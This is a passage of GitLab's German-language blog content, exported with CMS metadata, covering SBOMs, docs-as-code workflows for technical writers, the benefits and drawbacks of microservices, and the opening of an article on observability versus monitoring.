Versionen.\n\n### Erste Schritte mit SBOMs\n\nDie Nachfrage nach SBOMs ist bereits hoch. Behörden empfehlen oder verlangen zunehmend die Erstellung von SBOMs von Softwareanbietern, Entwickler(innen) von Bundessoftware und sogar Open-Source-Communities. \n\nInformiere dich über die SBOM-Funktionen für GitLab Ultimate in der DevSecOps-Plattform von GitLab, um diese Anforderungen zu erfüllen.\n\n## SBOM-FAQ\n### Was ist eine SBOM?\n\nEine SBOM (Software Bill of Materials) ist eine detaillierte Liste aller Komponenten, Bibliotheken und Abhängigkeiten, die in einer Software verwendet werden. Sie bietet Transparenz über die verwendeten Elemente, um Sicherheitslücken zu identifizieren und die Software-Compliance sicherzustellen. SBOMs helfen, Schwachstellen zu erkennen und Software-Supply-Chain-Risiken zu minimieren.\n\n### Warum sind SBOMs wichtig?  \n\nSBOMs sind aus mehreren Gründen entscheidend:\nEinblick in Abhängigkeiten: Das Verständnis der Bestandteile deiner Software hilft, Risiken in Verbindung mit Drittanbieter-Komponenten zu identifizieren und zu mindern.\nErhöhte Sicherheit: Mit detaillierten Einblicken in die Komponenten einer Anwendung können Organisationen Schwachstellen schnell identifizieren und beheben.\nRegulatorische Compliance: Zunehmend fordern Vorschriften und Best Practices eine SBOM für Softwarepakete, insbesondere im öffentlichen Sektor.\nEffiziente Entwicklung: Entwickler(innen) können auf eine SBOM zurückgreifen, um Einblicke in verwendete Bibliotheken und Komponenten zu erhalten, was Zeit spart und Fehler im Entwicklungszyklus reduziert.\n\n### Welche Standards werden für den SBOM-Datenaustausch verwendet?\n\nEs gibt zwei vorherrschende Standards:\n\n- CycloneDX: CycloneDX ist für seine benutzerfreundliche Herangehensweise bekannt, die es ermöglicht, komplexe Beziehungen zwischen Softwarekomponenten zu vereinfachen und spezielle Anwendungsfälle zu unterstützen. Der Standard ist erweiterbar und eignet sich gut für zukünftige Anforderungen.\n- SPDX: Ein weiteres weit verbreitetes Framework für den SBOM-Datenaustausch, das detaillierte Informationen über die in der Softwareumgebung enthaltenen Komponenten bereitstellt.\n\nGitLab verwendet speziell CycloneDX für die SBOM-Generierung, da es aufgrund seiner Präskriptivität und Erweiterbarkeit gut für zukünftige Anforderungen geeignet ist.\n\n### Wie geht GitLab mit SBOMs um?\n\nGitLab legt besonderen Wert auf die Erstellung dynamischer SBOMs, die:\nAutomatisch generiert werden: So wird sichergestellt, dass stets aktuelle Informationen über die Softwarezusammensetzung vorliegen.\nIn Tools integriert sind: SBOMs werden mit Sicherheits-Scanning-Tools verbunden, um umfassende Risikobewertungen zu ermöglichen.\nEinfach zu verwalten sind: GitLab unterstützt die Einlesung und das Zusammenführen von SBOMs für eine umfassende Analyse.\nKontinuierlich analysiert werden: Die Plattform bietet fortlaufende Scans von Projekten, um neu auftretende Schwachstellen frühzeitig zu erkennen.\n\n### Wie kann ich SBOMs in meinem Unternehmen implementieren?\n\nDie steigende Nachfrage nach SBOMs spiegelt die zunehmende Bedeutung von Softwaresicherheit und Integrität der Lieferkette wider. Für Unternehmen, die bereit sind, SBOMs einzuführen, bietet das Ultimate-Paket von GitLab eine robuste Plattform zur Erstellung und Verwaltung von SBOMs innerhalb eines DevSecOps-Workflows. Durch den Einsatz der GitLab-Tools können Teams die Einhaltung von Vorschriften gewährleisten, die Sicherheit verbessern und Entwicklungsverfahren optimieren.\n\n[\nTeste GitLab Ultimate kostenlos.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/blog/&glm_content=default-saas-trial)\n\n---\n\nDisclaimer \n*Dieser Blog enthält Informationen zu zukünftigen Produkten, Features und Funktionen. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Sie sollten nicht als Grundlage für Kauf- oder Planungsentscheidungen verwendet werden. Wie bei allen Projekten unterliegen die in diesem Blog erwähnten Elemente und verlinkten Seiten Änderungen oder Verzögerungen. Die Entwicklung, Veröffentlichung und das Timing von Produkten, Features oder Funktionen liegen im alleinigen Ermessen von GitLab.*\n",[2317],"2025-04-01","2022-10-25",[765,787,850,913,188],"Erfahre, was eine Software Bill of Materials (SBOM) ist und warum sie zu einem integralen Bestandteil der modernen Softwareentwicklung geworden ist.",{"slug":3565,"featured":6,"template":682},"the-ultimate-guide-to-sboms","content:de-de:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To Sboms","de-de/blog/the-ultimate-guide-to-sboms.yml","de-de/blog/the-ultimate-guide-to-sboms",{"_path":3571,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3572,"content":3578,"config":3586,"_id":3588,"_type":16,"title":3589,"_source":17,"_file":3590,"_stem":3591,"_extension":20},"/de-de/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"ogTitle":3573,"schema":3574,"ogImage":3575,"ogDescription":3576,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3577,"title":3573,"canonicalUrls":3577,"description":3576},"5 Funktionen, die Docs-as-Code in GitLab technischen Redaktionsteams bietet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Funktionen, die Docs-as-Code in GitLab technischen Redaktionsteams bietet\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suzanne Selhorn\"},{\"@type\":\"Person\",\"name\":\"Susan Tacker\"},{\"@type\":\"Person\",\"name\":\"Diana Logan\"}],\n        \"datePublished\": \"2022-10-12\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660257/Blog/Hero%20Images/pen.jpg","Technische Redaktionsteams können GitLab als zentrale Plattform für die Dokumentation nutzen und dabei einen Docs-as-Code-Workflow anwenden. Durch diesen Workflow lassen sich Dokumentationen planen, erstellen, prüfen, bearbeiten und veröffentlichen. Dies ermöglicht es auch kleinen Teams, eine große Menge an Inhalten zu produzieren.","https://about.gitlab.com/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"heroImage":3575,"body":3579,"authors":3580,"updatedDate":3583,"date":3584,"title":3573,"tags":3585,"description":3576,"category":2558},"In diesem Artikel erfährst du, von welchen fünf Funktionen technische Redaktionsteams profitieren, wenn sie Docs-as-Code in GitLab nutzen.\n\n## Was ist Docs-as-Code?\n\nDocs-as-Code oder auch Documentation-as-Code ist eine Methode zur Erstellung und Veröffentlichung von Produktdokumentationen. Dabei kommen die gleichen Tools und Prozesse wie bei der Softwareentwicklung zum Einsatz. Die Dokumentationsdateien werden zusammen mit dem Quellcode in einem Versionskontroll-Repository abgelegt.\n\nMöchtest du wissen, ob dein Unternehmen einen Docs-as-Code-Workflow in GitLab einführen könnte? Dann lies weiter, um fünf kurze Fakten zu erfahren, wie unser Team dies umsetzt.\n\n## Funktion 1: GitLab zur Planung von Aktualisierungen der Dokumentationsinhalte\n\nProduktmanager(innen), UX-Designer(innen), Entwickler(innen) und Qualitätssicherungs-Teams arbeiten gemeinsam daran, die Arbeit an neuen Funktionen bei GitLab zu planen und umzusetzen. Dieser kollaborative Ansatz stellt sicher, dass alle Aspekte der Produktentwicklung berücksichtigt werden und alle Beteiligten auf dem gleichen Stand sind.\n\nBei der Planung von Veröffentlichungen kommen in Unternehmen häufig verschiedene Tools zum Einsatz. So werden beispielsweise Kanban-Boards genutzt, um den Workflow visuell darzustellen und zu organisieren. Zusätzlich werden Issues in einem Drittanbieter-Tool erstellt und verwaltet, um Aufgaben zu verfolgen und den Fortschritt zu dokumentieren.\n\nBei GitLab werden Epics und Issues als nützliche Tools zur Planung der Arbeit verwendet. Epics ermöglichen, größere Projekte in kleinere Aufgaben zu unterteilen. Issues helfen dabei, spezifische Aufgaben und Anforderungen zu definieren. Issue-Boards ermöglichen die Verfolgung des Fortschritts in Echtzeit und bieten eine übersichtliche Darstellung des Projektstatus. Dabei ist Transparenz ein zentraler Aspekt dieses Prozesses. Alle Informationen, einschließlich der Diskussionen über die Planung und Umsetzung, sind für alle Teammitglieder zugänglich. \n\nDies fördert eine offene Kommunikation und Zusammenarbeit. Zudem haben technische Redaktionsteams so jederzeit Einblick in den aktuellen Stand der Entwicklung und können ihre Dokumentationsarbeiten entsprechend anpassen und aktualisieren. Diese Transparenz erleichtert es, Änderungen und Updates in der Dokumentation zeitnah und präzise zu integrieren.\n\n![Ansicht des Workspace Plannings](https://about.gitlab.com/images/blogimages/planning_issue.png)\n\nBei größeren Projekten werden diese in GitLab verfolgt. Änderungen werden direkt in GitLab vorgenommen und die entsprechenden Issues dort als erledigt markiert. Kommt nach einem Jahr die Frage auf, warum eine bestimmte Änderung vorgenommen wurde, ist diese genau in GitLab nachvollziehbar. Es kann problemlos geprüft werden, wer die Änderung durchgeführt hat und aus welchem Grund.\n\nWenn in deinem Unternehmen viele verschiedene Tools verwendet werden, stelle dir vor, wie es wäre, alles an einem Ort zu haben, anstatt beispielsweise in separaten Docs-as-Code-Tools zu arbeiten. Dies würde den Prozess schneller und effizienter gestalten. Die Zeit, die normalerweise damit verbracht wird, E-Mails, Websites und Slack zu durchsuchen, um verlorene Diskussionen zu finden, wird so eingespart. Alles Notwendige findest du in GitLab.\n\nFür diejenigen, die ihr Wiki lieben und nicht darauf verzichten möchten, bietet GitLab auch eine Wiki-Funktion an.\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n## Funktion 2: Feedback zu Dokumenten\n\nWenn du schon länger als Autor(in) arbeitest, weißt du, wie mühsam es sein kann, jemanden zu finden, der die Kapazität hat, deine Arbeit zu überprüfen.\n\nBei GitLab schreiben die Entwickler(innen) den ersten Entwurf der Inhalte für alle neuen Funktionen. Diese Inhalte werden im selben Repository wie ihr Code gespeichert. Die Entwickler(innen) weisen den Inhaltsentwurf den Autor(inn)en zu, die ihn daraufhin überprüfen, Vorschläge hinzufügen und ihre Ideen und Änderungen an die Entwickler(innen) zurückschicken.\n\nAuch die Autor(inn)en öffnen Merge Requests (MRs) für inhaltliche Änderungen. Unabhängig davon, wer den MR öffnet, haben alle Teammitglieder die Möglichkeit, die Arbeit des jeweils anderen zu kommentieren.\n\nIn einem Merge Request ist es ganz einfach, die Schaltfläche „Vorschlag“ auszuwählen. Du kannst eine oder mehrere Zeilen kommentieren, Änderungen oder Bearbeitungen vorschlagen. Die Person, die den Merge Request erstellt hat, kann die Änderung direkt übernehmen oder einen alternativen Vorschlag machen, über den dann noch einmal gesprochen werden kann. Wenn du andere zur Diskussion einladen möchtest, erstellst du einfach einen neuen Kommentar und fügst dort die Namen der jeweiligen Personen ein. Sie sehen deinen Kommentar dann als Aufgabe in GitLab. Diese Vorgehensweise fördert die Transparenz und Inklusion in Teams.\n\n![Ansicht eines Änderungsverlaufs in GitLab](https://about.gitlab.com/images/blogimages/suggestion.png)\n\nDa der Inhalt des Dokuments in Markdown vorliegt, was reinem Text ähnelt, ist es einfach, die Unterschiede zwischen den Dateiversionen zu erkennen und zu sehen, wer welche Änderungen vorgenommen hat.\n\nVielleicht hast du schon mal in Teams gearbeitet, in denen Überprüfungen in PDFs, Word-Dokumenten oder Google-Dokumenten mit Kommentaren durchgeführt wurden. Wenn du stattdessen diesen Workflow ausprobierst, wirst du sehen, wie viel effizienter der Prozess ist. Es werden keine veralteten Versionen von Dokumenten weitergegeben, und niemand nimmt Aktualisierungen vor, die versehentlich die Kommentare eines anderen löschen.\n\nUnd wenn jemand wissen möchte, warum eine bestimmte Änderung vorgenommen wurde, kann er ganz einfach die Historie der Seite aufrufen und dort sogar sehen, wer für eine bestimmte Zeile verantwortlich ist.\n\n![Ansicht der Merge-Request-Historie, um zu sehen, wer welche Änderungen vorgenommen hat.](https://about.gitlab.com/images/blogimages/blame.png)\n\nDu musst keine Versionen eines PDF-Dokuments speichern und nicht mühsam versuchen, herauszufinden, wer welche Änderung vorgeschlagen hat – inGitLab wird alles ganz genau dokumentiert.\n\n## Funktion 3: Vorschau des Dokumentinhalts\n\nGitLab bietet Tools, um den Inhalt der Dokumentseite lokal zu generieren, aber du kannst auch eine Vorschau der Dokumentseite direkt aus einem Merge Request heraus teilen. Wenn du eine Idee testen und sie jemandem zeigen möchtest, öffnest du ein Merge Request, generierst eine sogenannte „Review App“ und die geänderte Dokumentseite ist dann unter einer öffentlich zugänglichen URL verfügbar.\n\nDeine Änderungen sind sichtbar, und du kannst sie überarbeiten oder in der aktuellen Form übertragen.\n\n![Ansicht des Buttons, um in einem Merge Request festgehaltene Idee einer anderen Person anzuschauen](https://about.gitlab.com/images/blogimages/view_app.png)\n\n## Funktion 4: Testen inhaltlicher Änderungen\n\nVielleicht verwendest du das Tool eines Drittanbieters, um die Links in deinen Dokumenten zu testen oder um Rechtschreib- und Grammatikregeln zu überprüfen.\n\nWir nutzen ebenfalls Tools von Drittanbietern (Nanoc für Links, Vale für Rechtschreibung und Grammatik), ebenso wie alles andere können auch diese Tools in GitLab und in den Arbeitsablauf der Autor(inn)en integriert werden.\n\nDie jeweilige Autor(in) hat unsere Documentation-as-Code-Tools lokal installiert und kann alles, vom Lesemodus des Dokuments bis zu Korrekturen für Passiv- und Aktivformulierungen, auf dem lokalen Rechner einsehen. Für die Beteiligten, die nicht über diese Werkzeuge verfügen, führen wir bei jeder Übergabe eine Version unserer Tests in einer Pipeline aus. Eine Pipeline ist eine automatisierte Abfolge von Prozessen, die sicherstellt, dass der Code oder die Dokumentation korrekt getestet und validiert wird, bevor sie weitergegeben oder veröffentlicht wird.\n\n![Ausführung von Tests in der Pipeline](https://about.gitlab.com/images/blogimages/lint_error_2.png)\n\nWenn du Entwickler(in) bist und dich nicht für eine Schreibexpert(in) hältst, kann es passieren, dass dein Merge Request aufgrund einer wichtigen Grammatik- oder Branding-Regel in der Pipeline scheitert. \n\nEs gibt eine Liste mit vielen definierten Regeln, die verschiedene Wichtigkeitsstufen haben. Neben einem [Styleguide](https://docs.gitlab.com/ee/development/documentation/styleguide/ \"Styleguide\") und einer [Wortliste](https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html \"Wortliste\") führen wir auch Tests durch, um sicherzustellen, dass unsere Inhalte den festgelegten Regeln entsprechen.\n\n## Funktion 5: Integration von HTML-Ausgabe und Hosten des Outputs auf GitLab Pages\n\nBei GitLab nutzen wir die CI/CD-Pipeline dann, um die Markdown-Inhalte in HTML zu kompilieren. Anschließend werden sie auf GitLab Pages auf der Website [docs.gitlab.com](https://docs.gitlab.com/ \"GitLab Docs\") gehostet.\n\n![Pipeline-Übersicht](https://about.gitlab.com/images/blogimages/pipeline2.png)\n\nDa die Ausgabe durch eine Pipeline generiert wird, können die Dokumentseiten jederzeit aktualisiert werden. Während das Produkt einmal im Monat veröffentlicht wird, wird die Dokumentation stündlich aktualisiert. Das bedeutet, dass docs.gitlab.com immer die aktuellsten verfügbaren Inhalte enthält, manchmal sogar Informationen vor der offiziellen Veröffentlichung. Da die Planung der Entwicklung und die Implementierung in der Regel öffentlich zugänglich sind, ist die Vorankündigung von Funktionen kein Problem.\n\n## Docs-as-Code für einen besseren Workflow für technische Redakteure\n\nWie du siehst, bietet der Docs-as-Code-Workflow aus vielen Gründen Vorteile. Die Umstellung auf ein einziges Tool für alle Dokumentationsanforderungen kann eine Herausforderung sein, aber GitLab unterstützt den gesamten Autoren-Workflow, unabhängig davon, wer die Inhalte schreibt. \n\nErfahre mehr über das technische Schreiben von Docs-as-Code bei GitLab:\nWenn du mehr über das Mitwirken an unserer Open-Source-Dokumentation erfahren möchtest, schau dir die Anleitung [„Wie man die Dokumente aktualisiert”](https://docs.gitlab.com/ee/development/documentation/workflow.html#how-to-update-the-docs \"Wie man die Dokumente aktualisiert\") an. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZlabtdA-gZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[1011,3581,3582],"Susan Tacker","Diana Logan","2024-10-03","2022-10-12",[3463,2198,1117],{"slug":3587,"featured":6,"template":682},"five-fast-facts-about-docs-as-code-at-gitlab","content:de-de:blog:five-fast-facts-about-docs-as-code-at-gitlab.yml","Five Fast Facts About Docs As Code At Gitlab","de-de/blog/five-fast-facts-about-docs-as-code-at-gitlab.yml","de-de/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"_path":3593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3594,"content":3600,"config":3605,"_id":3607,"_type":16,"title":3608,"_source":17,"_file":3609,"_stem":3610,"_extension":20},"/de-de/blog/what-are-the-benefits-of-a-microservices-architecture",{"title":3595,"description":3596,"ogTitle":3595,"ogDescription":3596,"noIndex":6,"ogImage":3597,"ogUrl":3598,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3598,"schema":3599},"Microservices-Architektur: Definition und Vorteile","Entdecke die Welt der Microservices-Architektur: Funktionsweise, Vorteile & Unterschiede zu traditionellen Architekturen für flexible & effiziente Anwendungen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662898/Blog/Hero%20Images/microservices-explosion.jpg","https://about.gitlab.com/blog/what-are-the-benefits-of-a-microservices-architecture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Microservices-Architektur: Definition und Vorteile\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-09-29\",\n      }",{"title":3595,"description":3596,"authors":3601,"heroImage":3597,"date":3602,"body":3603,"category":697,"tags":3604,"updatedDate":2999},[826],"2022-09-29","In der modernen Softwareentwicklung sind Microservices zu einem beliebten Architekturansatz geworden, um die Effizienz und Flexibilität von Anwendungen zu verbessern. \n\nIn diesem Artikel erfährst du alles über die Funktionsweise, Vorteile und Unterschiede zu anderen Architekturen. \n\n## Was sind Microservices?\n\n[Microservices](https://about.gitlab.com/topics/microservices/) sind eine Softwarearchitektur, bei der eine Anwendung in eine Reihe kleiner, unabhängiger Dienste unterteilt wird. Jeder dieser Dienste ist eigenständig, erfüllt eine spezifische Funktion und kommuniziert mit anderen Diensten über klar definierte Schnittstellen, häufig über APIs (Application Programming Interfaces). Im Gegensatz zur monolithischen Architektur, bei der die gesamte Anwendung als ein einziges, großes System entwickelt und bereitgestellt wird, ermöglichen Microservices eine modulare und flexible Entwicklung.\n\n### Microservices: Beispiel\n\nIn einer E-Commerce-Anwendung könnte der Bestellservice eine Anfrage erhalten, der Produktservice die Verfügbarkeit prüfen, der Zahlungsservice die Zahlung verarbeiten und der Benachrichtigungsservice eine Bestellbestätigung senden. Jeder dieser Schritte wird von einem eigenen Microservice ausgeführt.\n\n## Wie funktionieren Microservices und was sind die Vorteile?\n\nEs gibt zahlreiche Microservices-Vorteile, die sowohl Entwickler(innen) als auch Unternehmen ansprechen. Durch die Zerlegung einer Anwendung in kleinere, unabhängige Dienste können Entwickler(innen) effizienter arbeiten und schneller auf Marktanforderungen reagieren. Diese Flexibilität und Skalierbarkeit führen zu einer verbesserten Leistung und Ausfallsicherheit. \n\u003Ch3>1. Verbesserte Skalierbarkeit\u003C/h3>\nDa jeder Microservice unabhängig arbeitet, können Cloud-Microservices einfacher hinzugefügt, entfernt, aktualisiert oder skaliert werden. Entwickler(innen) können diese Aufgaben durchführen, ohne andere Microservices im System zu beeinträchtigen. Unternehmen haben die Möglichkeit, jeden Microservice nach Bedarf zu skalieren. Beispielsweise kann ein bestimmter Microservice, der während saisonaler Einkaufsspitzen eine erhöhte Nachfrage erfährt, effizient mit zusätzlichen Ressourcen ausgestattet werden. Sinkt die Nachfrage nach der Saison, kann der Microservice wieder heruntergefahren werden, sodass die freigewordenen Ressourcen oder Rechenkapazitäten anderweitig genutzt werden können.\n\n### 2. Verbesserte Fehlerisolierung\n\nBei einer monolithischen Architektur führt ein Fehler in einem Teil der Struktur dazu, dass alle Komponenten zusammenbrechen. Im Gegensatz dazu ist es bei einer Microservices-Architektur viel unwahrscheinlicher, dass der Ausfall eines Dienstes andere Teile der Anwendung beeinträchtigt, da jeder Microservice unabhängig läuft. Unternehmen sollten jedoch vorsichtig sein, da große Datenmengen in bestimmten Situationen immer noch problematisch sein können.\n\nDer Vorteil der Microservice-Architektur liegt darin, dass Entwickler(innen) Funktionen implementieren können, die Kaskadenausfälle verhindern. Zudem gibt es verschiedene [Tools von GitLab](https://handbook.gitlab.com/handbook/tools-and-tips/) und anderen Anbietern, die die Fehlertoleranz von Microservices erhöhen und somit die Ausfallsicherheit der Infrastruktur verbessern.\n\n### 3. Programmsprache und Technologieunabhängigkeit\n\nEine Microservice-Anwendung kann in jeder beliebigen Programmiersprache entwickelt werden, sodass die Entwickler(innen)teams die für ihre Arbeit am besten geeignete Sprache wählen können. Diese sprachunabhängige Flexibilität von Microservices-Architekturen ermöglicht es den Entwickler(innen), ihre vorhandenen Fähigkeiten optimal zu nutzen, ohne eine neue Programmiersprache erlernen zu müssen. Sie können somit effizienter arbeiten. Ein weiterer Vorteil von Cloud-basierten Microservices ist, dass Entwickler(innen) von jedem internetfähigen Gerät aus auf die Anwendung zugreifen können, unabhängig von der verwendeten Plattform.\n\n### 4. Einfachere Bereitstellung\n\nMit einer Microservices-Architektur können Teams unabhängige Anwendungen bereitstellen, ohne andere Dienste im System zu beeinträchtigen. Diese Fähigkeit, einer der Hauptvorteile von Microservices, ermöglicht es Entwickler(innen), neue Module hinzuzufügen, ohne die gesamte Systemstruktur umgestalten zu müssen. Unternehmen können dadurch effizient und flexibel neue Funktionen nach Bedarf integrieren.\n\n### 5. Wiederverwendbarkeit in verschiedenen Geschäftsbereichen\n\nEinige Microservice-Anwendungen können innerhalb eines Unternehmens mehrfach genutzt werden. Beispielsweise kann eine Website, die verschiedene Bereiche mit jeweils einer Anmelde- oder Zahlungsoption enthält, dieselbe Microservice-Anwendung für jede dieser Instanzen verwenden.\n\n### 6. Schnellere Markteinführung\n\nDie Entwickler(innen) können diese neuen „Mikroservices\" in die Architektur integrieren, ohne Konflikte mit anderem Code oder Ausfälle von Diensten befürchten zu müssen, die die gesamte Website beeinträchtigen könnten. Entwicklungsteams, die an verschiedenen Microservices arbeiten, müssen nicht auf die Fertigstellung der Arbeiten anderer Teams warten. Unternehmen können neue Funktionen schnell entwickeln und bereitstellen sowie ältere Komponenten aktualisieren, sobald neue Technologien die Weiterentwicklung ermöglichen.\n\n### 7. Möglichkeit zum Experimentieren\n\nDie Entscheidung, mit Experimenten fortzufahren, ist bei einer Microservices-Architektur wesentlich einfacher.\n\nNeue Funktionen können leicht eingeführt werden, da jeder Dienst unabhängig von den anderen arbeitet. Falls eine neue Funktion den Kunden nicht zusagt oder die geschäftlichen Vorteile nicht klar sind, kann sie problemlos zurückgenommen werden, ohne den restlichen Betrieb zu beeinträchtigen.\n\nWird eine neue Funktion von Kunden gewünscht, ermöglicht eine Microservices-Architektur die Einführung innerhalb von Wochen statt Monaten oder Jahren.\n\n### 8. Verbesserte Datensicherheit\n\nWenn die Komponenten der Computersystemarchitektur in kleinere Teile zerlegt werden, sind sensible Daten besser vor Eindringlingen aus anderen Bereichen geschützt. Obwohl es Verbindungen zwischen allen Mikrodiensten gibt, können Entwickler(innen) sichere APIs verwenden, um die Dienste zu verknüpfen. Sichere APIs gewährleisten, dass Daten nur für speziell autorisierte Benutzer, Anwendungen und Server zugänglich sind. Für Unternehmen, die mit sensiblen Daten wie Gesundheits- oder Finanzinformationen umgehen, wird die Einhaltung von Datensicherheitsstandards wie [HIPAA](https://www.hhs.gov/hipaa/index.html) im Gesundheitswesen oder der [europäischen DSGVO](https://dsgvo-gesetz.de/) durch diese Architektur vereinfacht.\n### 9. Flexibilität durch Outsourcing\n\nEs kann für ein Unternehmen notwendig sein, bestimmte Funktionen an Dritte auszulagern. Bei einer monolithischen Architektur sind viele Unternehmen besorgt über den Schutz ihres geistigen Eigentums. Eine Microservices-Architektur ermöglicht es jedoch, spezifische Bereiche nur für Partner zu segmentieren, ohne dass Kerndienste offengelegt werden.\n\n### 10. Optimierung der Teamarbeit\nWenn du dir überlegst, wie groß die Teams sein sollen, die du für jeden Microservice einsetzt, solltest du die sogenannte Zwei-Pizza-Regel beachten. Sie wurde erstmals von Amazon, dem Pionier der Microservices, formuliert und besagt, dass Entwicklungsteams so klein sein sollten, dass sie mit zwei Pizzen satt werden. Experten erklären, dass diese Richtlinie die Arbeitseffizienz verbessert, es den Unternehmen ermöglicht, ihre Ziele schneller zu erreichen, die Verwaltung der Teams erleichtert, einen stärkeren Fokus innerhalb der Gruppe schafft und zu qualitativ hochwertigeren Produkten führt.\n\n### 11. Bei Entwickler(innen) beliebt\n\nZuletzt ist einer der Microservices-Benefits auch, dass Entwickler(innen)(innen) die Microservices-Architektur attraktiv finden und Unternehmen bessere Chancen haben, hochkarätige Talente für die Entwicklung von Microservices-Anwendungen zu gewinnen. Microservices nutzen die neuesten technischen Verfahren und Entwickler(innen)werkzeuge. Dies ist ein wesentlicher Vorteil für Unternehmen, die Spezialist(innen) anziehen möchten.\n\n## Microservices: Nachteile\n\nTrotz der zahlreichen Vorteile für jedes Unternehmen gibt es auch einige Nachteile von Microservices, die vor der Einführung berücksichtigt werden sollten.\n\n### 1. Vorabkosten sind bei Microservices höher\n\nCloud-Microservices bieten langfristig Kosteneinsparungen, bringen jedoch auch Nachteile mit sich, wie etwa die hohen Anfangskosten für die Bereitstellung. Ein Unternehmen muss über eine ausreichende Hosting-Infrastruktur mit Sicherheits- und Wartungsunterstützung verfügen. Zudem ist es entscheidend, qualifizierte Teams zu haben, die alle Dienste verwalten können.\n### 2. Schnittstellenkontrolle ist entscheidend\n\nDa jeder Microservice eine eigene API besitzt, sind alle Anwendungen, die diesen Service nutzen, von Änderungen der API betroffen, wenn diese nicht abwärtskompatibel sind. Große Unternehmen, die eine Microservices-Architektur verwenden, haben oft Hunderte oder sogar Tausende von APIs. Die Kontrolle und Verwaltung dieser Schnittstellen ist entscheidend für den Betrieb des Unternehmens und kann somit einen Nachteil der Microservices-Architektur darstellen.\n\n### 3. Komplexität der anderen Art\n\nDie Fehlersuche kann bei einer Microservices-Architektur eine größere Herausforderung darstellen. Jeder Microservice hat seinen eigenen Satz von Protokollen. Das bereitet ein wenig Kopfzerbrechen, wenn es darum geht, die Quelle eines Problems im Code zu finden.\n\n### 4. Integrationsprüfung\n\nUnit-Tests sind bei einer Microservices-Architektur einfacher durchzuführen. Integrationstests hingegen nicht. Da die Architektur jeden Microservice verteilt, können die Entwickler(innen) das gesamte System nicht direkt von ihren Rechnern aus testen.\n\n## Unterschiede zwischen Serviceorientierte Architektur vs. Microservices\n\nWenn du im Bereich Cloud Computing arbeitest, kennst du wahrscheinlich die Debatte zwischen serviceorientierter Architektur (SOA) und Microservices. Beide Architekturen ähneln sich, da sie Cloud Computing für agile Entwicklung nutzen und große monolithische Komponenten in kleinere, handlichere Einheiten zerlegen.\n\nDer Hauptunterschied liegt im Umfang: SOA ist ein unternehmensweiter Ansatz für die Entwicklung von Softwarekomponenten, während Microservices eigenständige Anwendungen erstellen, die eine bestimmte Funktion erfüllen. Dieser Cloud-native Ansatz macht Microservices skalierbarer, flexibler und widerstandsfähiger.\n\nErfahre im Folgenden, wie du mit einer [Microservices-Architektur](https://about.gitlab.com/blog/get-started-with-microservices-architecture/) beginnen kannst.\n",[2033,2033,745],{"slug":3606,"featured":92,"template":682},"what-are-the-benefits-of-a-microservices-architecture","content:de-de:blog:what-are-the-benefits-of-a-microservices-architecture.yml","What Are The Benefits Of A Microservices Architecture","de-de/blog/what-are-the-benefits-of-a-microservices-architecture.yml","de-de/blog/what-are-the-benefits-of-a-microservices-architecture",{"_path":3612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3613,"content":3619,"config":3625,"_id":3627,"_type":16,"title":3628,"_source":17,"_file":3629,"_stem":3630,"_extension":20},"/de-de/blog/observability-vs-monitoring-in-devops",{"title":3614,"description":3615,"ogTitle":3614,"ogDescription":3615,"noIndex":6,"ogImage":3616,"ogUrl":3617,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3617,"schema":3618},"Observability vs. Monitoring in DevOps","Observability sammelt Daten, um Prozesse zu optimieren und Probleme zu beheben. Wir zeigen dir, wie das geht - und warum es dem Monitoring überlegen ist.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665484/Blog/Hero%20Images/monitoring-update-feature-image.jpg","https://about.gitlab.com/blog/observability-vs-monitoring-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Observability vs. Monitoring in DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-06-14\",\n      }",{"title":3614,"description":3615,"authors":3620,"heroImage":3616,"date":3622,"body":3623,"category":847,"tags":3624,"updatedDate":2615},[3621],"Mike Vanbuskirk","2022-06-14","Logging und Monitoring sind feste Bestandteile moderner Software-Infrastrukturen. Die Einführung von syslog in den 1980ern markierte hierbei einen Wendepunkt. Ursprünglich für Unix-Systeme entwickelt, verdeutlichte syslog zwei zentrale Punkte: Wie wichtig es ist, sich einen Überblick darüber zu verschaffen, was genau in einem System geschieht – und dass es von Vorteil ist, diesen Kontrollmechanismus von der Grundfunktionalität des Systems zu trennen.\n\nDie Vorzüge dieser erhöhten Sichtbarkeit waren offensichtlich. Trotzdem wurden Monitoring und Logging lange eher stiefmütterlich behandelt. So kam es immer wieder vor, dass Systeme eine Vielzahl von Einträgen produzierten, ohne dass diese aber jemals 